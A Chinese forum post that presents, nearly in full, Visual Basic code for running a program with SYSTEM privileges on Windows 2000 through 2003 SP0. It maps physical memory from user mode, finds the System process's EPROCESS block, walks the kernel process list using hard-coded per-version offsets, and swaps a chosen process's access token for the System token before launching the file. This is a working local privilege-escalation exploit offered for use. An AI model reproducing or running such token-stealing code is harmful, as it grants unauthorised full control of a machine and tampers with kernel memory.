|
<p>此种方式需要把本进程的token替换成system用户进程的token在没用到驱动的情况下需要读写内核空间,只支持2000到2003sp0其他2003sp1后不支持用户态直接读写内核空间,所以无法使用。下面贴关键代码:<br/>Public Function RunSystemProcess(ByVal strFile As String, ByVal dwProcessId As Long) As Boolean<br/> Dim lngKernel As Long, pKernel As Long, lngStartProcAddr As Long, lngBaseAddr As Long<br/> Dim objAddr As Long, lngProcessId As Long, lngTmp As Long, lngTokenOffset As Long<br/> Dim objEndAddr As Long, lngPID As Long, lngName As Long ', lngAName As Long<br/> Dim strVersion As String, lngSName As Long, lngAList As Long, lngSList As Long<br/> Dim lngSystemProcessToken As Long, lngProcessToken As Long, strKernel As String<br/> '在用户态加载一份ntoskrnl.exe<br/> lngBaseAddr = GetKernelModuleBase(strKernel)<br/> lngKernel = GetModuleHandle(strKernel)<br/> '获取System进程内核例程/变量在用户态的相对位置<br/> lngStartProcAddr = GetProcAddress(lngKernel, "PsInitialSystemProcess")<br/> '获取系统核心模块ntoskrnl.exe的基址<br/> 'lngBaseAddr = GetKernelModuleBase()<br/> 'System进程内核例程/变量的实际地址<br/> lngStartProcAddr = lngStartProcAddr + lngBaseAddr - lngKernel<br/> '释放ntoskrnl.exe<br/> '获取系统版本<br/> strVersion = GetVersionName<br/> If strVersion = "win2k" Then<br/> lngPID = 156<br/> lngName = &H1FC<br/> lngSName = 264<br/>' lngAName = 348<br/> lngSList = 244<br/> lngAList = 160<br/> lngTokenOffset = &H12C<br/> '打开物理内存如果失败就退出程序<br/> If OpenPhysicalMemory = 0 Then<br/> End<br/> End If<br/> ElseIf strVersion = "winxp" Then<br/> lngPID = 132<br/> lngName = &H174<br/> lngSName = 192<br/>' lngAName = 236<br/> lngSList = 180<br/> lngAList = 136<br/> lngTokenOffset = &HC8<br/> Else<br/> lngPID = 132<br/> lngName = &H154<br/> lngSName = 160<br/>' lngAName = 204<br/> lngSList = 180<br/> lngAList = 136<br/> lngTokenOffset = &HC8<br/> End If<br/> '从内核空间获取System进程的EPROCESS结构<br/> objAddr = GetData(lngStartProcAddr)<br/> lngSystemProcessToken = GetData(objAddr + lngTokenOffset)<br/> lngTmp = (objAddr + lngName) - (objAddr + lngPID) '进程名和进程ID之间的差值方便后面遍历<br/> '从内核空间获取SMSS.EXE进程的EPROCESS结构<br/> objAddr = GetData(objAddr + lngAList)<br/> '获取第一个遍历EPROCESS结构<br/> objAddr = GetData(objAddr)<br/> objAddr = objAddr - lngAList + lngSList<br/> objEndAddr = objAddr<br/> '遍历ActiveProcessLinks<br/> Do<br/> If objAddr > &HFFFF0000 Then<br/> Exit Do<br/> End If<br/> '获取XXX进程的PID<br/> lngProcessId = GetPID(objAddr + lngSName - lngTmp)<br/> If lngProcessId = 0 Then Exit Do<br/> If lngProcessId = dwProcessId Then<br/> '替换指定进程的Token值为System Process的Token 好让进程具备System进程的权限<br/> lngProcessToken = GetData(objAddr - lngSList + lngTokenOffset)<br/> If SetData(objAddr - lngSList + lngTokenOffset, lngSystemProcessToken) Then<br/> Shell strFile, vbNormalFocus<br/> Call SetData(objAddr - lngSList + lngTokenOffset, lngProcessToken)<br/> RunSystemProcess = True<br/> Exit Function<br/> End If<br/> End If<br/> '检测是否为隐藏进程<br/> objAddr = GetData(objAddr)<br/> Loop While objAddr <> 0 And objEndAddr <> objAddr<br/> If g_hMPM <> 0 Then<br/> UnmapViewOfFile g_pMapPhysicalMemory<br/> NtClose g_hMPM<br/> End If<br/>End Function </p>
<p> </p>
<p>来源:<font face="Verdana">http://www.superkill.cn/bbs/dispbbs.asp?boardid=2&Id=4</font></p> |
|